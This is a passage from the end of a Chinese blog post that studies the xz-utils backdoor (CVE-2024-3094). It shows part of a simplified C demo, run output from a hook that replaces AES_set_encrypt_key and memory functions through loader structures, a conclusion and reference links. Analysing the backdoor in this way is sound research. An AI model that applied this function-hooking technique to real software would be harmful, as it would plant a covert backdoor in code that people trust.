memset(key, 0, AES_BLOCK_SIZE); // Zeroing the key

AES_set_encrypt_key(key, 128, &enc_key);
}

int main(int argc, char *argv[])
{
char *path;
foo();
importCryptoDemo();
return 0;
}

执行结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ LD_LIBRARY_PATH=. ./test5
do foo_resolver
success find ld base addr: 0x7f1e9ad80000
Symbol _r_debug found at address 0x7f1e9adbb118
name = , addr = 0x561bd3a66000, ld addr = 0x561bd3a69d90
Symbol AES_set_encrypt_key got found at address 0x561bd3a69fd0
name = /lib/x86_64-linux-gnu/libcrypto.so.3, addr = 0x7f1e9a92f000, ld addr = 0x7f1e9ad6c8a0
success get elf link_map = 0x7f1e9adbb2e0
Symbol _rtld_global_ro found at address 0x7f1e9adb9ae0
do install_hook, sym_name = AES_set_encrypt_key
do install_hook, sym_name = calloc
do install_hook, sym_name = free
do install_hook, sym_name = malloc
do install_hook, sym_name = realloc
This is foo2
do hook_aes_func
length = 128

模拟xz后门hook的逻辑,把AES_set_encrypt_key函数替换成hook_aes_func函数。

总结

本文中测试的demo代码是按照xz后门的原理,化简后编写出来的,xz后门的代码复杂度比上面的demo高出非常多,除了lzma_alloc函数,xz后门中没有依赖其他任何库函数,完全是自行编写代码实现,比如对代码段进行反汇编,匹配出dl_audit地址,都是工作量非常大的。我知道它是如何做的,到我能实现它还是非常大的距离。

参考链接

  1. https://chromium.googlesource.com/chromium/deps/xz/+/dd8415469606fe7bfdc2ebc12b8457b912ede326/doc/examples/01_compress_easy.c
  2. https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01
  3. https://gist.github.com/q3k/3fadc5ce7b8001d550cf553cfdc09752
  4. https://github.com/binarly-io/binary-risk-intelligence/tree/master/xz-backdoor

xz-utils后门漏洞(CVE-2024-3094)学习

https://nobb.site/2024/04/26/0x89/

Author

Hcamael

Posted on

2024-04-26

Updated on

2024-05-06

Licensed under